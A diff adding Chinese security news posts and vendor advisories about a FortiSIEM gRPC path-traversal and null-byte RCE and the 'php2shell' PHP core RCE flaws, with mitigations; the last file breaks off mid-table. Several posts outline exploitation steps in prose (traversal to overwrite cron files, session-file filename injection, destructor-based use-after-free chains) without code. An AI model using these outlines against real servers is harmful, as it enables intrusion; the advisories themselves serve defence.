b/doc/2026-10/【安全圈】0dayPoC公布！FortiSIEM遭空字节截断实现免认证RCE.md @@ -0,0 +1,119 @@ +# 【安全圈】0dayPoC公布！FortiSIEM遭空字节截断实现免认证RCE + 安全圈 2026-10-21 11:00 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGylgOvEXHviaXu1fO2nLov9bZ055v7s8F6w1DD1I0bx2h3zaOx0Mibd5CngBwwj2nTeEbupw7xpBsx27Q/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +**关键词** + + + +漏洞 + + +**核心事件快报** +：安全研究团队 Horizon3.ai 正式公开发布了针对 Fortinet 核心安全审计产品 FortiSIEM 的完整武器化利用 PoC（概念验证代码）。该漏洞编号为 CVE-2026-106173，CVSS 严重程度评分为 9.4。未经身份验证的外部远程攻击者，只需向 FortiSIEM 开放的 gRPC 服务发送精心构造的数据包，便可触发路径穿越与空字节截断，向服务器任意路径覆盖写入文件，进而将其转化为高特权远程代码执行（RCE）。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/sbq02iadgfyEUxOX7ZR3IvwHpOokwAaCdibsGr1eoonBmWpw3GoO8muygwiaQQcJu7YADzUvOIS9fLxew8r2uEnHCyMiaSBLJiaXtNJNlQbHCBzc/640?wx_fmt=other&from=appmsg "") +## 🔍 漏洞剖析：gRPC元数据校验缺失与空字节截断利用链 + +根据 Horizon3.ai 释出的技术白皮书，FortiSIEM 的攻破链条极为紧凑且致命，主要发生在系统默认监听的 TCP 27918 端口上： +- **第一步：无认证直连 gRPC 端口** +：FortiSIEM 在 TCP 27918 端口运行的 gRPC 模块未做强制身份凭据校验，允许外部客户端直接建立 HTTP/2 会话并调用 QueryResultReq + 接口。 + +- **第二步：不安全的路径拼接** +：处理函数 SendQueryResult() + 接收客户端传入的 query-id + 元数据参数时，未对目录穿越字符进行有效过滤，攻击者可输入 ../../ + 逃逸出受限的临时文件目录。 + +- **第三步：巧妙规避强制后缀限制** +：原本系统在拼接路径后会自动追加 result-<源IP>-0-0-.dat + 的固定文件名，导致攻击者无法自由指定落盘文件名。 + +- **第四步：HPACK 空字节截断破局** +：研究员发现在 gRPC 的 HTTP/2 编码与 HPACK 压缩层中，可以成功注入空字节（\0 + / NUL Byte）。当底层 C/C++ 文件系统调用解析该路径时，遇 \0 + 立即视为字符串终止符，从而丢弃服务端强加的 .dat + 后缀。 + +## ⚡ 从任意文件覆盖到 Root RCE 闭环 + +一旦突破了路径穿越与文件名限制，攻击者即可利用任意文件写入（Arbitrary File Write）原语，向目标操作系统核心目录投递后门： +- 覆盖 Linux 系统的定时任务（/etc/cron.d/ +）或系统环境变量启动脚本。 + +- 篡改 Web 控制台目录下的静态资源或后端处理逻辑，植入交互式 Webshell。 + +- 由于 FortiSIEM gRPC 守护进程通常以高权限用户运行，攻击者借此直接斩获宿主机的 root 权限反弹 Shell。 + +## ⚠️ 资产现状：PoC 已公开，在野扫描正在加速 + +虽然 Fortinet 官方在近期释出了维护版本补丁，但随着 Horizon3.ai 将高可用度、低利用门槛的 PoC 代码在 GitHub 及公开安全社区放开，针对企业边界 FortiSIEM 资产的在野自动化嗅探正呈现指数级增长。 + +作为企业核心的日志分析与威胁监控（SIEM）平台，FortiSIEM 一旦被黑客击穿，整网资产拓扑、安全告警记录以及内网凭据将尽收攻击者眼底。 +## 🛡️ 应急加固与处置防护建议 + +各机构安全运维团队必须立即核查 FortiSIEM 的公网暴露面并落实下列修复措施： +- **立即封堵 TCP 27918 端口** +：在网络边界防火墙及路由器上，强制阻断来自未经授权的外网 IP 对 TCP 27918（gRPC）端口的访问，仅允许受信任的内网 Agent 节点通信。 + +- **全面升级官方维护补丁** +：核验系统版本，立即升级至 Fortinet 官方发布的对应修复固件版本。 + +- **巡检关键系统目录异常文件** +：排查 FortiSIEM 节点的 /etc/cron* +、/tmp + 以及 Web 部署路径，核验最近 72 小时内是否有非官方变更的异常文件落盘。 + + END   + + +阅读推荐 + + +[【安全圈】双11前紧急叫停！京东JSRC全面暂停外部漏洞测试](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079414&idx=1&sn=64985dae9e27b64b33a95e031a7e8784&scene=21#wechat_redirect) + + + +[【安全圈】克隆代码就中招！94个GitHub开源库遭假字体投毒](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079414&idx=2&sn=5347b52ee72fe6b67a3af750295fed29&scene=21#wechat_redirect) + + + +[【安全圈】四漏洞连环击穿！Plex遭武器化利用植入挖矿木马](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079414&idx=3&sn=c59fa44ef0a5791429f5ba4c7b36e7e4&scene=21#wechat_redirect) + + + +[【安全圈】连密码都不用！博通WiFi曝0day隔空秒拿ROOT](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079403&idx=1&sn=21c4f345cc81f0721be1f3a465c9026c&scene=21#wechat_redirect) + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + + +![](https://mmbiz.qpic.cn/mmbiz_png/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEDQIyPYpjfp0XDaaKjeaU6YdFae1iagIvFmFb4djeiahnUy2jBnxkMbaw/640?wx_fmt=png "") + +**安全圈** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + +←扫码关注我们 + +**网罗圈内热点 专注网络安全** + +**实时资讯一手掌握！** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + +**好看你就分享 有用就点个赞** + +**支持「****安全圈」就点个三连吧！** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + + diff --git a/doc/2026-10/【安全圈】突发双高危RCE！PHP官方紧急发布9.2分安全通告.md b/doc/2026-10/【安全圈】突发双高危RCE！PHP官方紧急发布9.2分安全通告.md new file mode 100644 index 00000000..d6305c37 --- /dev/null +++ b/doc/2026-10/【安全圈】突发双高危RCE！PHP官方紧急发布9.2分安全通告.md @@ -0,0 +1,124 @@ +# 【安全圈】突发双高危RCE！PHP官方紧急发布9.2分安全通告 + 安全圈 2026-10-21 11:00 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGylgOvEXHviaXu1fO2nLov9bZ055v7s8F6w1DD1I0bx2h3zaOx0Mibd5CngBwwj2nTeEbupw7xpBsx27Q/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +**关键词** + + + +漏洞 + + +**核心事件快报** +：北京时间 10 月 21 日，PHP 安全团队紧急确认两个关键远程代码执行（RCE）漏洞，CVSS v4.0 评分为 9.2。安全社区将该漏洞组合称为“php2shell”。官方排定于 UTC 时间 10 月 21 日 14:00 发布计划外应急补丁。目前在野利用尚未见报，但全球仍有超过 88 万台暴露在公网的 PHP 8.1 及更早版本主机处于停止支持（EOL）状态，无法获得任何官方补丁。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/sbq02iadgfyFn81KwibNUXlMxDQ6ozTHOTTmsDbBjRNyNbBNXkeu59hlf30gOpvAa5GJ292mby4AK9NINadichkBQWuymcA8iaSWtGtCdqCtQ2E/640?wx_fmt=other&from=appmsg "") +## 🔍 泄露引发突发预警：从社区爆料到官方提前发版 + +此次安全事件最初始于 10 月 20 日 Hacker News 社区的一则匿名爆料。爆料称 PHP 存在两个 CVSS 10.0 的 RCE 漏洞，波及 PHP 5 及之后的全系版本，并声称将于 10 月 22 日全网公开。 + +随后，知名网络安全机构 watchTowr 在社交平台证实了漏洞的真实性，并指出该漏洞原处于禁运协同披露状态（Embargo）。 + +信息外泄直接打破了披露节奏。PHP 官方团队在 UTC 时间 10 月 20 日 19:33 迅速上线预警通告，将正式安全补丁的发布时间提前至 10 月 21 日 14:00 UTC，并明确表态：若细节被进一步提前公开或出现野外利用迹象，官方将立即跳过倒计时直接释出修复。 +## ⚡ 漏洞特征与受影响版本阵列 + +安全研究界当前为两个漏洞分配的追踪标识为 **CVE-2026-109618** + 与 **CVE-2026-109619** +。综合 watchTowr、Huntress 及安全专家 Kevin Beaumont 的研判，技术面核心事实如下： +- **漏洞危害等级** +：PHP 官方评定为 CVSS v4.0 9.2 分（属于 Critical 严重级别），攻击者可远程触发未授权代码执行。 + +- **在野利用与 PoC 状态** +：截至发稿，CISA KEV 目录尚未收录，公开网络尚未监测到可用的公开 PoC 代码，但已有大量自动化测绘探测活动。 + +- **官方受支持分支** +：仅有 PHP 8.2、8.3、8.4 和 8.5 四个分支将获得维护更新，对应新版本预计为： + +• PHP 8.5.12 + +• PHP 8.4.27 + +• PHP 8.3.36 + +• PHP 8.2.35 + +## ⚠️ 88万台 EOL 资产暴露：无厂商补丁可用 + +本次事件最为致命的痛点在于存量资产的弃维现状。所有早于 PHP 8.2 的分支（包括 PHP 8.1、8.0、7.x 及 5.x）均已结束生命周期（End of Life），PHP 官方明确不会向这些旧分支反向移植安全补丁。 + +根据安全分析团队 Mallory 基于 Shodan 检索数据的统计： +- 全球公网可检索到约 150 万台在 HTTP Banner 中明文回显 PHP 版本的主机。 + +- 其中多达 **88.4 万台** +主机运行的正是 PHP 8.1 或更早版本，占比高达 **59%** +。 + +- 另有约 74 万台主机隐藏了具体次版本号。一旦攻击载荷全网扩散，这批未获维护的旧系统将直接沦为无防御攻击目标。 + +## 🛡️ 应急缓解与网络隔离清单 + +在官方更新完全就绪、技术细节正式揭晓前，企业安全运维团队应参考 Huntress 与 CERT-EU 给出的应急隔离指引完成处置： +- **第一步：全面清点 PHP 运行时基线** +：梳理全网所有生产服务器、反向代理后端的 FastCGI、PHP-FPM 与容器镜像版本，标记所有运行 PHP ≤ 8.1 的遗留实例。 + +- **第二步：收紧公网接入访问控制** +：非必要严禁将管理后台或 PHP 处理节点直接对公网开放。结合堡垒机、内网 VPN 或云安全组实施白名单访问控制。 + +- **第三步：升级至受支持分支** +：将业务环境平滑升迁至 PHP 8.2+ 分支，并做好拉取 8.2.35、8.3.36、8.4.27、8.5.12 补丁包的自动化测试准备。 + +- **第四步：WAF 规则与行为监控就位** +：关注主流安全厂商基于 PHP 异常调用链路的虚拟补丁规则，监控 PHP 子进程异常衍生（如 bash/sh 衍生、反向 shell 建立等异常行为）。 + + END   + + +阅读推荐 + + +[【安全圈】双11前紧急叫停！京东JSRC全面暂停外部漏洞测试](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079414&idx=1&sn=64985dae9e27b64b33a95e031a7e8784&scene=21#wechat_redirect) + + + +[【安全圈】克隆代码就中招！94个GitHub开源库遭假字体投毒](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079414&idx=2&sn=5347b52ee72fe6b67a3af750295fed29&scene=21#wechat_redirect) + + + +[【安全圈】四漏洞连环击穿！Plex遭武器化利用植入挖矿木马](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079414&idx=3&sn=c59fa44ef0a5791429f5ba4c7b36e7e4&scene=21#wechat_redirect) + + + +[【安全圈】连密码都不用！博通WiFi曝0day隔空秒拿ROOT](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652079403&idx=1&sn=21c4f345cc81f0721be1f3a465c9026c&scene=21#wechat_redirect) + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + + +![](https://mmbiz.qpic.cn/mmbiz_png/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEDQIyPYpjfp0XDaaKjeaU6YdFae1iagIvFmFb4djeiahnUy2jBnxkMbaw/640?wx_fmt=png "") + +**安全圈** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + +←扫码关注我们 + +**网罗圈内热点 专注网络安全** + +**实时资讯一手掌握！** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + +**好看你就分享 有用就点个赞** + +**支持「****安全圈」就点个三连吧！** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + + diff --git a/doc/2026-10/【已复现】漏洞预警｜php2shell：PHP Core 远程代码执行漏洞（CVE-2026-109618∕109619）.md b/doc/2026-10/【已复现】漏洞预警｜php2shell：PHP Core 远程代码执行漏洞（CVE-2026-109618∕109619）.md new file mode 100644 index 00000000..e92bfa90 --- /dev/null +++ b/doc/2026-10/【已复现】漏洞预警｜php2shell：PHP Core 远程代码执行漏洞（CVE-2026-109618∕109619）.md @@ -0,0 +1,38 @@ +# 【已复现】漏洞预警｜php2shell：PHP Core 远程代码执行漏洞（CVE-2026-109618/109619） +Josh + Josh 银河哈希 2026-10-21 13:57 + +## 漏洞概述 + +        PHP 是一款开源的服务器端脚本语言，主要用于 Web 后端开发，可嵌入 HTML 中编写，语法简单上手快，跨平台且适配绝大多数 Web 服务器与数据库，常用来搭建网站、接口、管理系统，是早期 Web 开发主流语言之一，如今依然广泛应用于各类 CMS、小程序后端等项目。 + +        近日，银河哈希通过安全监测发现PHP Core 远程代码执行漏洞（CVE-2026-109618/109619）。从技术角度看，CVE-2026-109618/109619（统称“php2shell”）是PHP核心中两个未授权远程代码执行漏洞，CVSS 4.0评分均为9.2，其根源指向PHP内置的session.upload_progress机制。据泄露分析，该功能在处理文件上传进度时，回调函数php_session_rfc1867_callback()对会话数据的生命周期管理存在缺陷，可能触发释放后使用（use-after-free）：当上传进度更新导致旧的会话数组被销毁或替换时，残留的zval指针仍被引用，攻击者通过构造特制HTTP请求可操控堆内存布局，最终将执行流劫持至zend_call_function等内部函数，实现以Web进程权限（如www-data）执行任意系统命令。 +
漏洞编号

CVE-2026-109618/109619

漏洞类型
远程代码执行漏洞
漏洞评分
9.2
漏洞等级
高危
影响组件
PHP
利用成熟度
PoC未公开
利用难度
低
## 影响范围 + +PHP 5 至 PHP 8.5 +## 漏洞复现 + +银河哈希已复现该漏洞 + +![php2shell：PHP Core 远程代码执行漏洞（CVE-2026-109618/109619）](https://mmbiz.qpic.cn/mmbiz_jpg/Yg4FVwamkuUib5JH9zqEC9HA89owZzxFjyQcZ7DYH5bmBKDNHQFTbg4YhKsMemFIYRbZCCLicEupujYUHqPxC75CxcuouZNZFXNN40IE30CVM/640?wx_fmt=webp&from=appmsg "") + +php2shell：PHP Core 远程代码执行漏洞（CVE-2026-109618/109619） +## 解决方案 + +补丁发布后，立即将 PHP 升级至官方修复版本。 + +**临时解决方案** + +在 php.ini 中设置 session.upload_progress.enabled=0，基于泄露分析可能阻断攻击路径。 +## 参考文献 + +https://www.php.net/archive/2026.php + +https://watchtowr.com/intelligence/php-cve-2026-109618-faq/ + +https://x.com/k_firsov/status/2112641845926989944 +> ❝ +> 大连银河哈希安全技术科技有限公司成立于2022年，公司初创团队源于国内知名战队ChaMd5安全团队组建，曾获2023年大连市“连盾”演练第二名、2026年大连市“连盾”演练第一名及各地市优秀攻击队，并获得多地网信办、经侦支队及应急保障中心感谢信，也服务多家CTF厂商举办赛事。 +> ❞ + + diff --git a/doc/2026-10/【已复现可RCE】PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)安全风险通告.md b/doc/2026-10/【已复现可RCE】PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)安全风险通告.md new file mode 100644 index 00000000..13a9c34f --- /dev/null +++ b/doc/2026-10/【已复现可RCE】PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)安全风险通告.md @@ -0,0 +1,184 @@ +# 【已复现可RCE】PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)安全风险通告 + 奇安信 CERT 2026-10-21 16:24 + +●  +点击↑蓝字关注我们，获取更多安全风险通告 + + +

漏洞概述

漏洞名称

PHP 远程代码执行漏洞

漏洞编号

CVE-2026-109618、CVE-2026-109619

公开时间

2026-10-21

影响量级

千万级

奇安信评级

高危

CVSS 3.1分数

8.1

威胁类型

代码执行

利用可能性

高

POC状态

已公开

在野利用状态

未发现

EXP状态

已公开

技术细节状态

已公开

危害描述：可导致无需认证的堆 UAF、内存泄露和远程代码执行，攻击者以 Web worker 权限执行任意命令，写入 WebShell、窃取凭据和业务数据、横向移动并植入持久化后门。

+ + +**0****1** + +**漏洞详情** + +**>** +**>** +**>** +**>** + +**影响组件** + +PHP 是一种广泛使用的开源服务器端脚本语言，主要运行于 Web 服务器端，支持 Apache mod_php、PHP-FPM（配合 Nginx、Apache mod_proxy_fcgi）、FrankenPHP、LiteSpeed LSAPI 等多种部署方式。W3Techs 统计显示，全球约四分之三的网站使用 PHP 作为服务器端编程语言，WordPress、Drupal、Joomla、MediaWiki、Magento、phpMyAdmin、Nextcloud、Laravel、Symfony、WHMCS 等主流应用均依赖 PHP。 + +**>** +**>** +**>** +**>** + +**漏洞描述** + +近日，奇安信CERT监测到官方修复 +PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)，两个漏洞均与 PHP 请求生命周期边界上的状态管理缺陷有关：CVE-2026-109618 利用内存耗尽（OOM）时的 longjmp() 提前退出，使尚未完成初始化的请求内存在 request shutdown 阶段被错误消费；CVE-2026-109619 利用 worker 全局状态在请求结束后未正确重置，使后续请求在正常初始化之前访问已释放的请求内存。攻击者无需认证，通过构造恶意 HTTP 请求即可触发释放后重用（UAF），进而实现内存泄露和远程代码执行。 +目前该漏洞PoC和技术细节已公开。 +鉴于该漏洞影响范围较大，建议客户尽快做好自查及防护。 +**>** +**>** +**>** +**>** + +**利用条件** + +无需登录、无需用户交互、无需应用层漏洞；攻击面为可接收 HTTP 请求的 PHP 端点，包括静态站点中的简单 PHP 页面。 + + +**02** + +**影响范围** + +**>** +**>** +**>** +**>** + +**影响版本** + +PHP < 8.2.35 + +PHP < 8.3.36 + +PHP < 8.4.27 + +PHP < 8.5.12 + +**>** +**>** +**>** +**>** + +**其他受影响组件** + +以 PHP 为运行时的应用、框架与建站系统可能间接受影响，涉及 WordPress、MediaWiki、phpBB、Magento、Laravel、Symfony、Drupal 等，以及 mod_php、PHP-FPM（含 Docker PHP-FPM 镜像）等部署形态。 + + + +**03** + +**复现情况** + +目前， +奇安信CERT已成功复现 +PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619) +，截图如下： + +![](https://mmbiz.qpic.cn/mmbiz_png/RwAbCjh555u8MzqZLaXFbkCyWAiangrctiaiagzia4Qt59hqYGduOJpicdu7yQ3eTFCKT99bEWwOfxooRK768Jm94Jrtv85UoI7uZmkh66kOBlhQ/640?wx_fmt=png&from=appmsg "") + + + + +**04** + +**处置建议** + +**>** +**>** +**>** +**>** + +**安全更新** + +官方已发布安全补丁，请及时更新至最新版本： +PHP 8.5.12 + +PHP 8.4.27 + +PHP 8.3.36 + +PHP 8.2.35 + +下载地址： + +https://www.php.net/downloads.php + +1. 升级后必须重启 Apache、PHP-FPM 及所有常驻 worker，确保旧进程不再处理请求；仅替换二进制而不重启进程不能消除风险。 + +2. 容器环境应重新构建镜像，避免沿用包含旧 PHP 的 layer；Kubernetes 环境应滚动重启所有 Pod，并确认没有旧 ReplicaSet 继续服务。 + +3. 发行版仓库（Ubuntu、Debian、RHEL、Alpine 等）和集成环境（宝塔、phpStudy、XAMPP、Docker 官方镜像等）可能存在同步延迟，请以 `php -v`、`php-fpm -v` 的实际输出为准，不要仅核对包管理器版本号。 + +4. PHP 8.1 及更早版本已停止支持，官方不再提供补丁，建议迁移至 PHP 8.2 或更高版本；若使用发行版长期支持分支，请以厂商 backport 公告为准。 + +5. 共享主机和虚拟主机用户应联系服务商确认 PHP 版本；多租户环境需确认所有租户实例均已升级。 + +注意： + +不要使用 RLIMIT_AS 或 RLIMIT_DATA 作为缓解措施。这些限制会导致 mmap() 失败，从而触发 CVE-2026-109618 所依赖的 longjmp() 路径。 + + + +**05** + +**参考资料** + +[1] +https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w + +[2]https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp + +[3] +https://calif.io/php2shell/#writeup + + + +**06** + +**时间线** + +2026年10月21日， +漏洞公开披露：CVE 信息已公开，可据此核对受影响产品与版本并启动修复。 + +2026年10月22日，奇安信 CERT已复现该漏洞， +发布安全风险通告。 + + + +**07** + +**漏洞情报服务** + +「 +奇安信漏洞情报平台 +」 +重磅上线，诚邀您来体验： + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/RwAbCjh555viaiaDvX8Ut3Ytsbhkqoia2nZS86w0T6trGosR06Rmj1YibIPrhYZVGOssp8L3iaCde9vzWxvcPUia6JAY7gJ7ML6aatr82uMFwwzlY/640?wx_fmt=jpeg&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=2 "") + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3tG2LbK7WG3tezJEzJsicLSWCGsIggLbcfk4LB5WK7pdSwMksxPOAoHuibjQpBlEId4nyIIw52n2J8N8MowYZcjA/640?wxfrom=5&wx_lazy=1&wx_co=1&wx_fmt=other&tp=webp#imgIndex=3 "") + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EkibxOB3fs4ibpFEkqfMZfO3smS6RKd9BYBVaibvBq1vXprZIc191LXKibdiaApA16q3UgmibQDv4yW09qT88J3jRUfA/640?wxfrom=5&wx_lazy=1&wx_co=1&wx_fmt=other&tp=webp#imgIndex=4 "CERT LOGO.png") + +**奇安信 CERT** + +**致力于** +第一时间为企业级用户提供**权威** +漏洞情报和**有效** +解决方案。 + + + +点击↓**阅读原文** +，到**ALPHA威胁分析平台** +订阅更多漏洞信息。 + diff --git a/doc/2026-10/【核弹漏洞】php2shell（CVE-2026-109618 ∕ CVE-2026-109619）是 PHP Core 中两个无需认证即可远程触发的代码执行漏洞.md b/doc/2026-10/【核弹漏洞】php2shell（CVE-2026-109618 ∕ CVE-2026-109619）是 PHP Core 中两个无需认证即可远程触发的代码执行漏洞.md new file mode 100644 index 00000000..c8755592 --- /dev/null +++ b/doc/2026-10/【核弹漏洞】php2shell（CVE-2026-109618 ∕ CVE-2026-109619）是 PHP Core 中两个无需认证即可远程触发的代码执行漏洞.md @@ -0,0 +1,402 @@ +# 【核弹漏洞】php2shell（CVE-2026-109618 / CVE-2026-109619）是 PHP Core 中两个无需认证即可远程触发的代码执行漏洞 +原创 网络安全民工 + 网络安全民工 网络安全民工 2026-10-21 14:35 + +**核心结论** +：php2shell（CVE-2026-109618 / CVE-2026-109619）是 PHP Core 中两个**无需认证即可远程触发** +的代码执行漏洞，CVSS v4.0 评分均为 **9.2** +。PHP 官方已于 **2026年10月21日** + 发布修复版本 **8.5.12 / 8.4.27 / 8.3.36 / 8.2.35** +，并明确表示**“更新是唯一安全的选择”** +，没有任何配置层面的措施能构成完整缓解。 + +![](https://mmbiz.qpic.cn/mmbiz_png/T0ibbhsCmribS4icpDo8OhqoUao2uRMPT5f4SIepfevbiaLdic2GuSTFFz4ZpMicaUGyeZia99mCcvHutdSCOfvJ7CaIicowqHsM80bs47psFf5Saf8/640?wx_fmt=png&from=appmsg "") +## 谁处于风险之中 + +PHP 官方公告的措辞没有留余地：**所有处理 Web 请求的 PHP 安装均受影响** +，包括 PHP-FPM、Apache mod_php +、php-cgi +、FrankenPHP 和 LiteSpeed。 + +其中 **mod_php 被官方标注为最高风险** +。原因在于 Apache mod_php + 会在请求启动失败时**无条件调用请求关闭流程** +，而未认证请求触发的内存破坏可以在**任何应用代码运行之前** +就被关闭流程处理，形成“应用无关”的攻击路径。FPM 在请求启动失败时会直接退出子进程，阻止了这条特定路径，但源码分析仍将 FPM 列为**易感** +，只是尚未演示出完整的 FPM 利用。 + +Palo Alto Networks 的遥测显示，截至公告发布时，暴露面约为 **2260 万个实例** +。另一个值得防守方警惕的数据点是：**每五个服务器中有四个隐藏了精确的 PHP 版本** +（关闭了 X-Powered-By +），主动扫描的可见性远低于直觉。 +## 漏洞概述 + +PHPsession.upload_progress +处理程序中的两个严重漏洞使得在 PHP 5.4.0 到 8.5.x 版本中无需身份验证即可执行远程代码。 +
漏洞
根本原因
影响
会话固定
MULTIPART_EVENT_FORMDATA
接受 POST 请求体中的 PHPSESSID，忽略use_only_cookies
攻击者控制会话 ID 和文件路径
文件名注入
add_assoc_string_ex(*data->filename)
会话中存储原始文件名，不进行验证
将 PHP 代码/序列化对象注入到会话文件中
序列化器泄漏
PS(serializer)
未重置php_rshutdown_session_globals()
FPM 中的跨请求处理程序不匹配
var_destroy UAF
i_zval_ptr_dtor
第 310 行发生火灾，__destruct但没有BG(serialize_lock)
堆释放后使用 → 任意代码执行
## 官方根因：两个独立的缺陷，而非一条利用链 + +这是理解 php2shell 的关键。PHP 官方将两个 CVE 描述为**两个独立的根本原因** +，社区 PoC 中常见的“一条链串起两个编号”的叙事需要与官方定性区分。 +### CVE-2026-109618：OOM 处理中的内存状态破坏 + +PHP 使用 longjmp() + 处理内存耗尽（OOM）错误，以退出当前上下文并中止请求。问题在于：在某些上下文中，请求内存在**完全初始化之前** +就已经可达。如果此时发生分配失败，PHP 没有正确考虑这次提前退出，导致请求内存在**无效状态下被关闭流程读取或分支** +。 + +官方补丁的修法是**移除 OOM 场景下的 longjmp()** +，改为在下一个 VM 安全点触发延迟的“软 OOM”，并在达到更高阈值时使用 _exit() + 执行“硬 OOM”。这样关闭流程不会再看到无效状态，同时保留了 PHP 正常的内存限制能力。 +### CVE-2026-109619：陈旧的全局状态 + +请求所有的内部状态可以在**其底层内存被释放之后仍然存活** +。同一个 worker 处理的后续请求，可能在正常初始化重置之前**使用到这份陈旧状态** +。Unit 42 进一步指出，这涉及 longjmp() + 致命错误处理后全局内存指向已释放区域，后续请求可以读取或基于这些区域进行分支，从而执行任意代码。 +## PoC 的真实状态：攻击面已验证，完整武器化仍有距离 + +公开 PoC 的存在需要被正视，但同样需要被准确定位。 +### 已复现的“逻辑链”攻击面 + +以 ikow/php2shell-poc + 为代表的研究仓库确认了三条**绕过认证、可到达危险操作** +的原语链： + +**链 A：会话文件注入 + 应用 LFI** +session.upload_progress + 默认启用，且 MULTIPART_EVENT_FORMDATA + 处理器**接受 POST body 中的 PHPSESSID** +，绕过了 session.use_only_cookies +。上传的文件名被**原样存入会话文件** +，不做任何净化。如果目标应用存在本地文件包含（LFI）sink，即可包含会话文件执行注入的 PHP 代码。验证输出为 uid=33(www-data) +。 + +**链 B：var_destroy 的 __destruct 重入 UAF** + + 在 unserialize() + 路径上，var_destroy + 的清理阶段触发 __destruct +，此时 BG(serialize_lock) + 状态允许内部再次调用 unserialize() +，形成释放后重用。ASAN 已确认堆 UAF。 + +**链 C：处理器不匹配 → __destruct → 对象注入** + + 当不同目录使用不同的 session.serialize_handler + 时，php + 解码器在遇到 | + 时会盲分割并反序列化注入的对象。**关键点在于** +：即使解码返回 FAILURE +，var_destroy + 的清理过程仍然会触发 __destruct +。这意味着**解码失败并不能阻止对象注入和后续的 POP gadget 利用** +，且这条链**不需要应用存在 include/eval sink** +，只需要一个可用的 __destruct + gadget 类——主流框架通常都会提供。 +### 但根因归属存在分歧 + +上述 PoC 链的验证是真实的，但 ikow + 将 CVE 核心归因于 **var_destroy 的 __destruct 重入 UAF + 序列化器泄漏** +，这与 PHP 官方公告的 **OOM 损坏 + 陈旧全局状态** + 是不同的代码路径描述。WoYinDao + 的研究也独立指出了这一分歧，其内存破坏实验在 Docker 官方构建上未能将 258 字节请求转化为完整利用，而 ikow + 的工作则确认了 UAF 的存在。 + +**对防御方的含义** +：社区 PoC 中的逻辑链（会话固定、文件名注入、handler mismatch）是**真实可达的攻击面** +，PHP 官方建议中禁用 session.upload_progress + 直接针对的就是这些路径。但 CVE 的**完整根因** +以官方公告为准，PoC 中的 UAF 武器化程度**尚未达到“开箱即用的远程 RCE”** + 的公开状态。这不降低升级的紧迫性，但应避免将“PoC 存在”等同于“任意目标可被一键攻破”。 +## 版本矩阵与 EOL 的真实处境 +
分支
状态
处置
8.5.x
修复于 8.5.12
立即升级
8.4.x
修复于 8.4.27
立即升级
8.3.x
修复于 8.3.36
立即升级
8.2.x
修复于 8.2.35
立即升级
8.1 / 8.0 / 7.4
EOL，无官方发布更新
官方提供了最小化源码回溯补丁（PHP 7.4 / 8.0 / 8.1 分支），供自行编译或 LTS 发行版使用
7.3 及更早 / 5.x
EOL，无任何官方或回溯支持
